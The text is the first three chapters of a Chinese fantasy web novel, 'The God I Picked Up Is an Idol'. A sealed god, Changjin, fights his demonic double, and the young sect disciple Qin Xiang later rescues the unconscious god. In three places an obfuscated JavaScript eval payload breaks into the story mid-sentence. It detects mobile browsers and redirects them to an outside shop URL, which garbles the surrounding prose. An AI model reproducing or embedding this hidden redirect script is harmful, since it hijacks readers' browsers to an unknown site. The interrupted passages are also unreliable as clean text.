《捡到的神明是偶像》 1. 楔子 “这就是厄运之门?” 漆黑的虚无中,长锦听见了一道陌生的声音,他不知道自己已经多少年没有听见过人的声音了,在这黑暗里,无日月,无生灵,亦无时间。 “传说厄运之门封印着的都是千年前扰乱人间的妖邪堕仙,他们入了魔,魔气化实,成了魔主,魔主能吸收世间邪念,一旦放出,毁天灭地,您真的想好了吗?” 开厄运之门?长锦许久不曾动过的脑子回了回神,他将自己化为一块镇妖石加固厄运之门封印之久已经七百年了,除非从外来犯,不然他不会受到预警从镇妖石形态转换回神明金身。 转换形态的过程需要一定的时间,长锦张了张嘴,喉咙暂且还没适应这几百年的封印,发不出声音。 “嗯,残卷记载,以恶念为媒,献祭魔主,可重开厄运之门,如今已经走到这一步了,难道你妄想让我停手罢?” 黑暗里,另一个声音迟钝了会,再次开口时,语气里已带上了十分的恭敬,回道:“不敢。” “那就动手罢。” 声音到这里戛然而止,长锦还没有从长久的封印沉寂中完全清明过来,就只觉得一股浓厚的阴寒之气朝他袭来。与此同时,一道白光炸开,刺破了这厚重的黑暗,不远处的上空,赫然开了一条细小的裂缝,长锦睁开双眼,四周皆是蛰伏着的各种奇形怪状的邪魔妖兽。 它们被这气息影响,看着上方的裂缝,仿佛是察觉到了什么,微微咧开嘴,露出森冷尖牙,齿缝间带着腥臭的涎水,目光凶狠,没有半分犹豫,朝着长锦群起而攻之。 “杀!厄运之门的封印松动了!” “杀了他!” “杀了他我们就能出去!” 妖兽的嘶吼声几乎要震破人的耳膜,四周杀气骤起。 “区区蝼蚁,安敢造次?”长锦转了转还有点僵硬的手腕,眼中杀气一凛,瞬息之间,渡天神火迅速席卷开来。 “啊啊啊啊!”冲在前头的几只妖兽还未有新的动作,便在须臾之间化为了灰烬,剩下的妖兽也没了往前冲的勇气,它们蜷缩在四面八方,爪子未缩,箭在弦上,一副蓄势待发的模样。 “长锦神君当真是好生威猛啊,没了一半神力竟也能使出这么大规模的渡天神火,这一击,你怕是吃不消吧?”一声轻笑带着几丝寒意自长锦身后传来,四周的妖邪闻声更是收掉了攻势,个个虔诚俯身拜去。 长锦转身望去,一个身形修长的人站在他的身后,周身萦绕着魔气,他笑了笑,面容渐渐在黑雾中清晰,是一张温和俊秀的脸,眉目缱绻,眼角含笑。 这是一张与他一模一样的脸。不同的是,一个身泛灵光,一个周身魔气。 长锦看着前面这张与自己一模一样的脸庞,也不答话,衣袖一挥,男子便在这一击中又化为了黑雾。他没空理会他,眼前还有更加重要的事情要做。 不远处,虚无的空间上方撕开了一条细小的裂缝,源源不断的阴寒恶念之气正往裂缝中送进,企图将这个裂缝撕得更大一些,再大一些。 长锦翻手结印,指尖凝聚着金红色的法力向着裂缝处袭去,在裂缝处不断扩大成了一道金红色的结界。那阴寒之气接触到结界的一瞬,便化为了氤氲的水汽在空中散去,撕裂的缝隙也在结界的逼迫下缓缓合拢。 就在缝隙即将合拢之时,一股强烈的血煞之气从长锦身后打出,本该合拢的缝隙瞬间又被拉开的更大,长锦回头,眉目染火:“你!” 身后的黑雾又重新聚集在了一起,与长锦长相一样的男子嘴角含着阴冷的笑,缓步朝着他走去,“长锦,你说你这又是为何?你锁了本座七百年,为何非要与本座作对?” “我不会让你出去的。”长锦手中凝出一把烈火长剑,指向面前的人。 “哦?”男人听他这句话,脚步一顿,停了下来,他像是听见了什么天大的笑话一般,放声大笑起来,良久,才停了下来,眼里带着诡谲的幽光,“长锦,你真可悲,你是忘了七百年前高台之上的千刀万剐了吗?一群丑陋至极的蝼蚁,不配让你这么拼命,我们本就是一体,何不与我融合?成为这三界至尊?” 语气中满是蛊惑之意。 长锦面色一沉,执剑的手却未曾动摇半分,”这是我的责任,我不会让你出去的,除非我死。” “你自己听听,这句话从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14647786|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你口中说出来,有多讽刺?”男子走到他的面前,勾了勾嘴角,阴寒的眸子似乎要看进长锦的心底,“你恨你的苍生,你的信仰已经崩塌了,本座就是你心底里最真实的想法,长锦,你别骗自己了,厄运之门将开,你神力渐弱,你,阻止不了我!” “住嘴!”长锦如被蛇蝎蛰了一般,猛地色变,提剑迎上。 两道身影战在一起,一黑一白相互碰撞,每一次的灵力相触皆使厄运之门内的空间颤动一次,不远处阴寒的恶念之气还在不停的袭击着那条裂缝,妖邪暴动,疯狂朝着那裂缝涌去。 长锦将手中的长剑一掷,烈焰长剑在裂缝前形成一道火墙结界,妖邪们狰狞着面孔往前扑去,却无一不被结界阻挡回来。 长锦嘴角鲜血溢出,男子乘机朝他袭来,森森邪气倏地将长锦从空中打落,径直落地。 男子不再理会长锦,双手结印,化成一道黑雾,蓦地就朝着那道裂缝直直冲去,可还没逃出,就被一道金光笼罩,男子徒然暴怒,他回头,眼中迸出火花,“长锦!” 长锦从地上站起,抬起一双凤眼,掌中金光骤起。 “你疯了!你竟然燃烧自己所有的神力来阻我!!!”男人看着那源源不断的金光,眼中血红,他怒喝着,“就算这样,你也是没法杀我的,我还是会出去,你又为何要如此!” “事已至此,我是无法阻止你出去,但只要能压制你成形,这就够了,你不成形,纵使你有再大的力量也无法化实,届时,就算你出去了,我也会抓你回来。”金光越来越强烈,长锦的脸色却越来越难看,他能感觉到身体的灵力已经逐渐空虚了。 “啊啊啊啊啊!长锦!我恨你,我要将你碎尸万段!”男人狂怒着冲上了前,但是长锦的面前升起了一道结界屏障,这是以燃烧自身所有神力起的结界,他过不去。 长锦闭了闭眼,掌中金光亮到极致,“封!” 这一声喝出,面前的男人纵然再有不甘,也无法发出了,他随着这一缕金光,人形骤散,变成了一团没有实体的黑雾。长锦也随着这最后一缕金光的消散身体瞬间脱力。 他躺在虚无里,眼皮渐渐沉重…… 2. 委派任务 三月的玉华城郊,春意盎然。 河边的杨柳抽出了嫩芽,春风翩然吹落几瓣桃花,花红绿柳,燕语莺啼。 与这景色格格不入的是不远处僵持着的几道身影,双方刀光剑影,剑拔弩张,旁边还围着一只门面上贴着定身符的黑毛大狼妖。 桃花树下,站着一个十四岁左右的少女,乌黑的头发挽成一个双丫垂挂髻,颈上带了块白玉云纹平安锁,翠绿衣裙轻薄娇俏,一双杏子眼中蕴含着一丝怒意,她握着手中的剑,指着对面几人。 “小道长,你这是何意?”对面一个人高马大的男人同样握着手里的剑,他身着金色镶边锦袍,腰间系着一个蓝色乾坤袋,身旁围着几个持刀的粗衣男人,将他护在身后。 被叫小道长的少女名叫秦湘,秦湘是腾岳之巅掌门之女,小小年纪便在去年的仙门群英论剑大会上崭露头角,从那之后在修仙界六大门派中也算是众人吹捧奉承的少年翘楚,天之骄女,前途无量。 而此时,这位天之骄女脸上却一脸不高兴,她面色一冷,目光扫过对面人的脸,“本姑娘什么意思你看不明白吗?看你不爽,想揍你。” 秦湘很不爽,这不爽的源头就是对面这几个人。 腾岳之巅的修行除了平时的各种练功和晨修早课之外,其余时间还会下山接受游历委派任务增长见识,秦湘年纪小,每次分配到的委派任务不是帮山下阿婆浇菜就是帮隔壁阿爷找猫。 她很羡慕其他师兄师姐们的委派任务不是捉妖就是捉鬼,在她看来这样的任务才算有难度嘛,对得起山门口那块石碑上的惩恶扬善四个大字。 于是她不服,去找爹和师父说,她也要这样的委派任务,但每次他们都以什么怕她受伤心疼啦,她年纪还小啦等等各种理由来回绝她。 直到今年,她在门派弟子升级考核里拿了第一,在仙门群英会上也崭露头角,这才拿到了她第一个正儿八经的捉妖任务。 任务地点是玉华城,系城中一富贵人家所托,说是狼妖伤人事故。 本来这个任务对于秦湘来讲轻轻松松,她相信以她的武力值,小小狼妖,那还不是手到擒来。 但等她来了这儿,一番了解侦察,才发现事情根本就不是什么狼妖伤人,而是这富贵人家先捉了人家的小狼崽子豢养起来玩乐致伤致残,这才导致了母妖发狂伤人。 秦湘从小受的教育是惩恶扬善,这件事在她看来,先错的就是人,而不是妖。所以知道了真相之后她不可能再去杀了那狼妖,所以这就代表着,她的第一次委派任务,就这么水灵灵地以失败告终…… 想到她下山之前还信誓旦旦的跟她的师父爹爹保证一定会完成任务,再到如今的这个场景……秦湘气得牙都要咬碎了。 真实的反映了什么叫做拿到委任书的时候笑的有多开心现在就有多不开心。 那边的男人握着剑,他本来是看秦湘将那狼妖制服,心里大喜,带着随从就上来准备教训教训这不知天高地厚的畜生,结果毛都还没摸到一根,秦湘却突然倒戈发难。 再被她这么一呛,他脸色更加不好看了,叫道:“我可是你的委托人,你敢打我?你们腾岳之巅就是这样接待委托客人的吗?你信不信我投诉你?” 闻言,秦湘冷笑一声,“委托人又怎样,你们捉妖玩乐,让它们受这无妄之灾,到头来还要倒打一耙,说妖伤人?恕我难以苟同,你这样的委任,我接不了!” 说罢,又从腰间解下钱袋,随手一抛,扔在男子脚边,“你的委任银两,我如今尽数还你,现在,我们就算私事,本姑娘今天心情不好,识相的,赶紧把那些小狼崽子放了,不然我揍得你们满地找牙!” 此番话一出,那男人被羞辱了一般,瞬间暴怒,将脚边的银袋一脚踹飞,喝道:“小丫头片子猖狂至极,腾岳之巅有什么了不起的,多管闲事!你们给我上!” 主子这么一声令下,身旁围着的几个粗衣男人立即挥刀围殴上去。 秦湘嘴角勾起一丝玩味的笑,对付这几个不修仙毫无灵力的人,她也根本不需要将剑灌灵,寻常武功身法即可。 于是脚尖一点地面,提剑迎上,她一脚踹翻面前一人,直接将那人踹飞出去,撞上他身后的另一名粗衣男子,力道之大,两人滚作一团。 另外一人见状,一刀朝着她的门面劈来,秦湘侧身躲开,举剑格挡,剑气如虹,对方手中的刀在她剑下断作两节。 秦湘笑了笑,“好了,不陪你们玩罢。”说完,她的身体如同幻影般,快速移动在几人周围,速度之快,让人无从招架,待反应过来之时,几人已经被剑气统统震了开来,躺了一地。 另一边的金衣男子也被这剑气撂倒,发丝凌乱,狼狈不堪的坐在地上。秦湘斜眼瞥了瞥他,走了过去,将剑指在他喉间:“你说你,敬酒不吃吃罚酒,还要打不打了?” 男子哪里还敢再多说几句,他双手举着做投降状,脸上都是讪讪的笑,“不打,不打,小道长饶命,是我有眼不识泰山,我错了,我错了。” “行了,把你捉来的小狼崽子还过来就滚吧。” “好好好,这就还,这就还。”金衣男子一边说着,一边解着腰边挂着的乾坤袋,他将束口拉开,口中念了一串咒决,然后伸手往口袋里探去,便从这小小的袋子里捏出几只灰扑扑因为害怕还在嗷呜嗷呜叫的狼崽子。 这狼崽子一出现,另一边贴着定身符的母狼妖就按耐不住了,它死死的盯着这边,喉咙里也发出了一阵阵危险的野兽的低吼。 秦湘朝那边看了眼,温声安慰道:“没事没事,等下就还与你。”说完回过头来,准备伸手抱过那群狼崽子。 她的手才刚伸出去,指尖都还未曾碰到那群小崽子的皮毛,一道强劲的风劲便突然袭来,几只小崽子就这样在秦湘面前被袭飞,然后重重的砸在了地上,嗷呜一声,奄奄一息。 始料不及的,秦湘几乎是瞬间火气涌上心头。而始作俑者却还在惊叹,“少爷,这风灵符真好用啊,没有灵力也能发挥这么大威力!” “废话,八十金一张的符,能不好用吗?”金衣男子迅速爬起身来,离秦湘远远的,狠狠的啐了一口,“小丫头片子,跟我斗,你还嫩了点,你不是想要这些小畜生吗?我给你。” 秦湘从未见过这般的人心险恶,一双杏眼里满是火气,她只觉得自己的理智像是要被烧戮殆尽了,剑在手中发出铮铮低鸣,通红的火焰瞬间席卷剑身,“无耻之徒!我要你的命!” 这一击并没有控制力度,但秦湘还未袭击上去,另一击更强劲的妖力便朝她身后打来,她错身躲开,攻击也偏了方位,擦着对面几人而过,剑气夹杂着火焰,将面前的土地削出一道巨大的裂缝。 秦湘回头去看,是狼妖看见自己的孩子奄奄一息,竟挣脱了定身符的压制,它身形比一开始的还要大了许多,一副已然失控的模样。眼眸发红,张嘴长啸,嘶吼声几乎要震破众人的耳膜。 金衣男子见此情形,掏出一张瞬移符就作势要跑,他朝这边和狼妖纠缠的秦湘咧嘴一笑,“小道长,我们就先走了,你要的我都还给你了,可别说我言而无信,哈哈哈哈哈哈!” “卑鄙小人!”秦湘准备去追,奈何这狼妖纠缠不止,她又不能直接对它狠下杀手,只能这样眼睁睁地看着几人消失在了眼前。 秦湘是真的没想到她的第一个委派任务就做的这样一团糟,任务也没完成,狼崽子也还在那边奄奄一息,眼前还有一只失控的母妖,她闷闷的,心里无端生出几分挫败感来。 头疼!真是太头疼了! 秦湘与这狼妖斗在一起,走了不知道有多少招了,狼妖失控,妖力也暴涨,她打起来也费劲得多,既不能真的伤了这狼妖,又不能保证她一击下去能刚好把它敲晕罢,只能以守为攻,处处受制。 狼妖嘶吼一声,就朝着秦湘冲去,秦湘身形一闪,落在了狼妖的背脊之上,双腿紧紧夹住它的身体,狼妖被人制住,更加狂暴的左右乱跳,试图将背上的人甩出去。 秦湘勉强稳住自己的身形,伸手从袖中摸出一张清心破解符咒。 “希望有用,”秦湘叹了口气,将符咒祭出,“去!” 黄符在空中化为了一道清澈的灵力朝着狼妖飞去,在完全融入狼妖身体之后狼妖渐渐安静了下来,眼中也有一瞬的清明,秦湘等了一会儿,看着狼妖没有多余的动作了,才渐渐放松下来警惕。 她从狼妖背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14647787|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上一掠而下,这符咒稳住狼妖只是暂时的,要想要狼妖彻底恢复正常神志,还是得靠那几只小狼崽子。 秦湘看了眼倒在一边的几只狼崽子,走了过去,指尖探了探它们的脉搏,虽然轻微,但还是有跳动的,还有救。她摸了摸袖口,掏出张生机符来,正准备施法时,一记妖气又朝她袭来,她避之不及,堪堪躲过,一个踉跄,在地上滚了好几圈。 秦湘真的要憋屈死了,她何时这么狼狈过,回头朝着那蓄势待发的狼妖气道:“你做甚!想气死我罢,我是在救你的崽子,你懂不懂!!” 狼妖自是不懂的,它眼里此时只有那几只奄奄一息的小狼崽子,根本分不清来人是好是坏,是要救它还是要杀它,它只有一个作为母亲的护犊心切,所以看见秦湘摸出那张和击飞狼崽子一样的黄符时,俨然一瞬间又是失控暴走了。 狼妖低吼一声,散发出的妖气竟是比刚才还要浓郁几分,没完没了了,秦湘真是欲哭无泪。只得爆出一身灵气与它硬碰硬,得尽快解决才行,不然再晚些,便是十张生机符也救不回那几只小崽子。 一人一狼又纠缠了好一会,秦湘飞身上前,躲过狼妖蓄力的一爪,掌中凝力,将狼妖震开,她本想再接再厉,直接迎上,岂料那狼妖竟身形一动,将力量凝聚在狼尾上,猛地朝着秦湘抽打过去。 这一击是实实在在的抽在了秦湘身上,秦湘只觉得耳边风声呼啸而过,胸口一疼,整个人就被这巨大的冲击力掀飞出去,而面前的狼妖也乘机跟着迎上,张着血盆大口,尖牙仿佛下一秒就要将她戳个对穿。 她来不及多想,忍着疼,双手立马在胸前捏诀,不管能不能抵挡住,总不能直接等死。妖力直接撕破她的灵力,一抬眼,狼妖的獠牙已经近在咫尺了。 秦湘心头方闪过一个完蛋的念头,忽觉得周身传来了一阵清明的气息,刚才被狼妖獠牙施加的巨大压力也豁然消散,一个影子从一旁闪了过来,她还未来得及反应,就感觉自己被硬生生的提起来了,停在半空中。 秦湘只看见一只修长的手虚虚的抚在了狼妖头上,本来还在暴躁的狼妖这次是真的稳定下来,那人手指微微一动,两人一狼便从半空中轻轻落下。 双脚踩到了结实的地面,秦湘悬着的一颗心这才彻底放了下来,她转头,很好奇的想看看这不费一招一式,仅凭一只手就能压制失控狼妖的到底是何许人也。 秦湘抬眼,看见了一张俊秀清冷的脸。 男子一袭素色锦袍,青丝半绾,用一条白色的丝带系住,黑发青衣,衣角和发丝飘飘逸逸,仙风道骨,玉树临风的,皎皎鸾凤姿,飘飘神仙气。 秦湘愣愣地瞧了他一会儿,前期看他只是因为他既好看又厉害多看了两眼,后期再看,却是突然觉得他这张脸,好像有点眼熟,在哪里见过似的,但是这一会儿,却死活想不起来,她到底在哪见过一张这样的脸。 思索了一会儿,左右想不起来,索性就不想了,秦湘见那男子已经制服了狼妖,便也没在管这边的事了,当务之急还是那几只小狼崽子的伤要紧。 秦湘蹲下身,手指捏着生机符,嘴里念了一串咒决,灵力催动,符咒化为了一道碧绿色的灵气围着几只小狼崽子飞去,待灵气彻底消失,小狼崽子也恢复如初了。 秦湘伸手将它们抱起,那一边男子也已收手,母狼站在他身前,眸中红色已经淡去,想来也是恢复正常了。她将狼崽子往母狼背上一放,捋了捋毛,“还给你,以后小心点,可莫要再被人捉去。” 母狼呜咽一声,像是感谢。男子伸出手指往它额上一点,“去罢。” 见母狼携子远去,直到看不见身影,秦湘才收回目光,她转身回头看向旁边这人,正欲开口答谢一番,却只觉得眼前一黑,一个素青色的身影朝着她猛地扑了过来。 “喂,你……” 秦湘一回头,就见这男人脸色苍白,嘴唇发青,双睫落下,眼眸紧闭,竟在这当口晕了过去。她手比脑子快,赶紧接了个满怀。 这一切发生的太突然,看着靠在她肩头的这张清秀俊雅的脸,秦湘也有点不知所措。 想了想,也只能召出佩剑,扶着男子踏上剑身,御剑而起,朝着腾岳之巅飞去。 3. 捡到神明 腾岳之巅地处巴陵,巴陵有山有水,风景秀丽,而这座仙府门派就修建在巴陵西北方向的一座险峻高山上。 秦湘还没有御剑载过人,更没有载过一个昏死过去的人,她将剑扩大了些,一手扶着人,一手控制着剑,立于剑首,行于云端。 一路磕磕绊绊,也总算是平安到达了腾岳之巅。瞧见那熟悉的石碑,熟悉的惩恶扬善四个大字,她终于松了一口气,“辛苦你啦,烈云。” 收了剑,正准备扶着男人进去,石碑后边便先冒出一个人来,“阿湘?你怎么回来的这么早?委派任务可完成的顺利?” 来人是个约莫十六七岁的少年,身姿笔挺,个头极高,一身腾岳之巅的门派战袍,青黑色劲装,高马尾,银玉簪,意气风发的模样。 此人名叫周楚闵,是腾岳之巅明萧长老之子兼徒弟,秦湘也拜在明萧长老门下,两人从小一起长大,他比秦湘年长几岁,也比秦湘入门早,所以算起来他既是她的师兄,也是她的哥哥。 周楚闵还没等秦湘回答,便又看见了靠在她身上的陌生男子,他眉头一皱,问道:“这又是谁?” 秦湘此时没有空先回答他这个问题,刚刚在剑上,身旁的这个男子脸色白的就已经跟纸似的了,带着个毫无意识的人,她御剑就磕磕绊绊的,耽误了不少时间,他急需要大夫。 “师兄,鸿瑛长老可在?” 鸿瑛长老是腾岳之巅医疗阁的负责长老,平时门派弟子有大病小病或受伤什么的,统统就找她来安排就是。 “不在,鸿瑛长老去双灵阁去了,估摸着可能要个把月才能回。” “啊?”秦湘有些泄气,鸿瑛长老不在,但看这人情况,让其手下外门弟子来看,估摸着又不行。 周楚闵眨了眨眼,道:“但是清桐回来了,我刚正要去找她,结果就看见了你,还带了个……男人……” “清桐姐姐?!”秦湘心喜,沈清桐是鸿瑛长老的徒弟,腾岳之巅,除了鸿瑛长老,便数她的医术是最厉害的了,“快带我去找清桐姐姐。” 医疗阁内,药香袅袅,屏风后面,一个约莫十五六岁的少女一袭鹅黄色衣裙,正坐在案台旁边调配药方,只见她一手执笔在案上写了会儿,复而放下笔,又拿了案台上的草药放在一旁的小戥称上称重,然后将称好的草药倒在了一边的牛皮纸上,一套动作,反反复复。 两人刚一走进去,周楚闵就欣喜的唤了一声:“清桐!” 沈清桐闻声,停下了手中的笔,也抬起一双温柔漂亮的眼睛,“楚闵?你怎么来啦?” 沈清桐和周楚闵,是道侣关系。 沈清桐原本是周楚闵和师父下山诛邪时救回来的孩子,那夜妖邪肆虐,村子里无一活口,周楚闵准备离开时,听闻一阵细碎的哽咽,然后就在断壁残垣下发现了沈清桐。 当时的她满身血污,面前横着一男一女两具尸体,开膛破肚,器脏和污血洒满一地,有十几只黑鸦围着啄食,周楚闵看见她时,她正倒在地上,小小的脸上全是泪痕,还在奋力往尸体上爬,挥舞着双手驱赶乌鸦:“走开,别吃我的爹娘……” 尽管周楚闵已经见过了太多的生死,此刻也是于心不忍,悲上心来,后来帮她疗伤,帮她葬了她爹娘,求了师父,然后将她带回了腾岳之巅。 那个时候秦湘太小,这些往事知道的也不多,只知道后来来了腾岳之巅的沈清桐一开始也是不理人的,她整日将自己关在厢房里,缩在小角落里,不掌灯不吃饭不喝水也不睬人。 同门师兄师姐们一开始还上去劝两句,后来无功而返且也没经历过她这种事情,没办法感同身受,渐渐地,便也不去了。只有将她带回来的周楚闵天天过去陪着她,给她讲山上山下的趣事,她不说话,他就陪着她发发呆,或是帮她点一盏明灯…… 或许是少年赤诚之心,金石所开,亦或者是沈清桐想起了父母临死前那一句“清桐,好好活下去”,总之,过了很久很久之后,她终于转了转那漂亮无光的眸子,抓起面前已经凉透了的饭菜就开始往嘴里送,吃着吃着,就开始哭,从一开始的细碎呜咽到后来的放肆大哭,而周楚闵就坐在一旁,轻轻地拍着她的背脊。 缘分就是这么定下来的吧。 秦湘将压在她肩上的男人扶上了医疗阁靠里边的一张床榻,揉了揉腰,这才赶紧跑过去推开周楚闵,拉起沈清桐:“清桐姐姐,你和师兄等会再聊,先过来帮我看看这个人吧,他好像不大好。” 沈清桐被秦湘拉着走出屏风,这才看见榻上躺了个人,男人面色苍白,眼睫紧闭,呼吸急促,额上渗出丝丝冷汗。 情况紧急,她也没有多问什么,就在床榻边坐下,纤细白皙的手指在他腕子上点着,顿了一会儿,皱了皱眉毛,倏而又松开。 秦湘在一旁看着她皱起眉毛又松开的,忍不住道:“怎么了?清桐姐姐,很难治吗?他得了什么病?” 周楚闵也立在一旁,看着她这幅模样,也开口道:“怎么了?清桐?很复杂?” 沈清桐收了手指,“病倒是不复杂,灵力受损严重,几乎尽失,而且此时探他脉象,自身灵力已经在周转恢复了,先给他服颗培元丹,我等下再去开些固元的汤药,服下后多休息即可。” 秦湘点点头,又问:“那清桐姐姐你皱眉又是为何?” “因为,他灵力十分强悍,虽然此时灵力受损,若是全盛时期,其修为估计可达天师级别以上甚至更甚于,但是奇怪的是,我方才诊断之时,却并没有探到他的灵根。” 灵根,乃修仙者立身之本,修行之基也。 灵根自先天而生,分金木水火土五行,先天灵根强悍的人,后天修行也会更加容易。 但是像榻上躺着的这个男子这样的例子,沈清桐倒也是第一次见,无灵根,灵力却强悍无比,这是怎么也不可能的事情。 听到沈清桐这番话,秦湘和周楚闵都震惊了。秦湘更是没忍住脱口而出:“这怎么可能呢?!没有灵根,或是灵根薄弱,根本就不可能修炼出天师级别的灵力,清桐姐姐你是不是诊错了?” 沈清桐站起身来,否决道:“不会,我反反复复诊断多次,他确实没有灵根,就算让师父来诊断,估计也是一样的说法。” 周楚闵也觉得匪夷所思,他用一种复杂的眼神看了眼床榻上的人,才转过头去看向秦湘,喃喃道:“阿湘,你是从何处将他捡来的?” 廊檐下轻柔的春风从敞开着的门窗穿堂而过,吹起了秦湘额头的鬓发,秦湘看着床榻上睫毛簌簌颤抖着的俊秀脸庞,将今日下山完成委派任务时发生的事情细细地说与两人听。 听她讲到那富家公子使阴招,狼妖失控发狂之时,周楚闵猛地打断她,声音都提大了两分:“你说什么?那人敢阴你?那你可有受伤?” 沈清桐也柔声关心道:“是啊,阿湘,你没受伤吧?” “无碍无碍,这不是重点,反正我委派任务也失败了,还犯了戒揍了委派人,想到回来肯定要受罚,我就没让自己亏本,多揍了他们几顿。”秦湘摆摆手,“哎呀,这不是重点啦,你们听我说,重点是后边,这个人从天而降,不费吹灰之力,仅凭一只手就让失控发狂的狼妖平复了下来,而且,我瞧着他,总觉得这张脸很眼熟,我绝对在哪里见过的!绝对!” 闻言,周楚闵和沈清桐也将目光再次投向床榻之上的人,细细端详了会,然后猛地一心惊! 这下不仅是秦湘了,就是他们二人,也蓦然觉得这张脸好像确实是眼熟的,真的像是在哪里见过一张相似的,但是是在哪里呢,又说不出来。如果他们真的见过这样的一个人,不大可能会忘却,但此时,确实是一点印象都没有了。 三人的目光在空中交错着,然后不约而同的又看向那人。秦湘在大脑里飞快地思索着,突然,灵光乍现,答案浮现,她几乎是不可置信的往后退了好几步,声音和指尖皆是颤抖着的:“师兄,清桐姐姐,你们看他,像不像渡天殿中供奉的那尊神像,厄运之门守护神,长锦神君……” “!!!” “!!!” 这话一出,三人皆是头皮发麻,背脊发凉,在这旭旭春风中,愣是激起了一身的鸡皮疙瘩。等再去看床榻之上的人时,他们眼神里都带上了难以置信,以及一丝他们自己都察觉不到的……虔诚。 长锦神君,那是他们门派从开派至今,百年以来代代尊崇供奉的神明啊…… 腾岳之巅是修仙界唯一一个供奉神明的宗门。在修仙界里,门派大多只设置先贤堂供奉自己祖上得道者,而不供奉其他神明仙官,因为修仙本就是为了飞升仙界,在他们看来,与其和常人百姓一样靠供奉神明仙官来完成心愿,不如努力修炼早日飞升自己成仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14647788|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 而腾岳之巅供奉神明,这还要从七百年前说起,七百年前修仙界还没有六大门派之说,仙门百家各自为营,分庭抗礼,那时候厄运之门洞开,妖魔危害人间,魑魅魍魉横行,倾巢之下无完卵,修仙门派自顾不暇,只要没打到自家门上,也只能选择苟延残喘的自保,于是那段时间的人间就是天空黑暗,魔气肆虐,尸横遍野。 腾岳之巅那时候还没有建派,腾岳之巅太掌门秦道尘也还只是一个小小修为的散修。见人间浮尸遍野,心下不忍,与门派仅有的十几个弟子蜗居在山野之中,救助百姓。后来在一次救助百姓的途中遭妖魔袭击,幸得长锦神君所救,与之结缘。 再后来长锦神君在城门以一人之力战魔主,封印数千妖魔于厄运之门中,守护了天下苍生,还留下了一句名言:神本是魔,魔亦是神,一体两面,光暗共生。世界万物皆有它的平衡之道,善恶本共存,皆在本心。 长锦神君祭道后,秦道尘便带着弟子在巴陵一座高山上创派腾岳之巅,与其门下弟子为他建了一座渡天神殿,殿内供奉其神像。将这些事情卷宗记载,登记造册,以“善恶本共存,皆在本心”为门派立派之初心箴言,后凡是入腾岳之巅者,不看灵根之强弱,而看有无一颗有道者为苍生的心。 腾岳之巅不绝,渡天神殿香火不灭。 所以延续至今,只要是腾岳之巅弟子,入门第一课,便是讲这腾岳之巅和长锦神君的史记宗卷,而每月必不可少的宗门盛典,便也是集体去渡天神殿为长锦神君供奉香火。 周楚闵抖着嘴唇:“这怎么可能呢?神明不会无端现世,虽然太掌门曾留下史书卷宗记载七百年前长锦神君现世,以一人之力斩妖魔,封印厄运之门,但这些都只是卷宗记载,这个人,他怎么可能会是长锦神君呢……” 说着说着,他的声音也弱了下去,此时三人心里皆明白,就算再怎么不可置信,而现在摆在他们面前的事实却无一不在击碎他们的认知。 如若这人不是长锦神君,那他又凭什么能不费吹灰之力让失控的狼妖复明,又凭什么不需要灵根而灵力强悍,如果说这些都能强行解释,那他这张和渡天神殿里神像六七分像的脸,那简直就是直接推翻了前面所有的解释。 一点两点还能说万一是巧合呢,但三点四点一通砸下来,还能说是巧合吗? 秦湘闭了闭眼,浑身上下都在细密地颤抖着,战栗着,她不知道自己现在是什么心情,半是敬畏,亦半是……激动…… 三人站在这偌大的医疗阁内,谁也没有再说话。忽然一位同样穿着青黑色劲装的守门弟子冒冒失失的闯了进来,朝着几人着急喊道:“大小姐,周师兄,不好了,不好了。” 寂静的气氛被打破,三人转头看向来人,周楚闵收起情绪,抬起眼帘,皱眉道:“何事如此慌张,这里是医疗阁,禁止喧哗。” 那名弟子低头行了一礼,禀道:“对不住,对不住,实在是事出从急啊,周师兄。掌门今早见花溪镇天有异象,便带着几名师兄下山查探,花溪镇果真生了异变,竟然出现了大批妖邪,大部分镇民皆丧于妖邪利爪之下,而且死去的镇民皆受其影响,已然起尸!掌门也从未见过这等邪孽,报信其余五大门派仙门百家前往镇压,长老们已经带着高阶弟子们御剑前去,着我特来此通报。” “什么!!” 秦湘睁大了眼睛,周楚闵也心头猛颤,顿了一下,连忙反应过来,回道:“我知道了,我们立刻前往花溪镇。” “师兄,你说那妖邪是……” “厄运之门。” “!!!” 秦湘还没说完,医疗阁内响起了一个不属于他们三任何一个人的声音,这四个字,像是一记猛炸在医疗阁内炸开。 